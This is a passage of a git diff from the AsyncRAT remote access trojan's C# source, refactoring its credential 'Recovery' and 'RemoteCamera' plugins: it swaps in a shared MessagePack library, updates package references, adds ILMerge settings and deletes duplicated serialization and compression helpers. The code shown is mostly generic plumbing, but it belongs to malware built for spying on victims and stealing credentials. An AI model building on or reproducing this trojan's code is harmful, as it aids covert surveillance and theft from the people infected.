0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs index 2c0712e..be57b51 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Text; diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs index a59807f..631e7f3 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs @@ -1,17 +1,11 @@ -using Plugin.MessagePack; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Net.Security; +using System.Diagnostics; using System.Net.Sockets; using System.Security.Cryptography.X509Certificates; -using System.Text; using System.Threading; namespace Plugin { - public class Plugin + public class Plugin { public static Socket Socket; public static Mutex AppMutex; diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj b/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj index b0c5cf1..a3dc59a 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj @@ -39,14 +39,12 @@ - ..\..\..\packages\Newtonsoft.Json.12.0.2\lib\net40\Newtonsoft.Json.dll - True + ..\..\..\packages\Newtonsoft.Json.12.0.3\lib\net40\Newtonsoft.Json.dll - - ..\..\..\packages\System.Data.SQLite.Core.1.0.111.0\lib\net40\System.Data.SQLite.dll - True + + ..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\lib\net40\System.Data.SQLite.dll @@ -68,28 +66,28 @@ - - - - - - + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - + - + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Zip.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config b/AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config index 712f46b..a5231c3 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config @@ -2,6 +2,6 @@ - - + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs index 84f279f..5922397 100644 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/ILMerge.props b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { 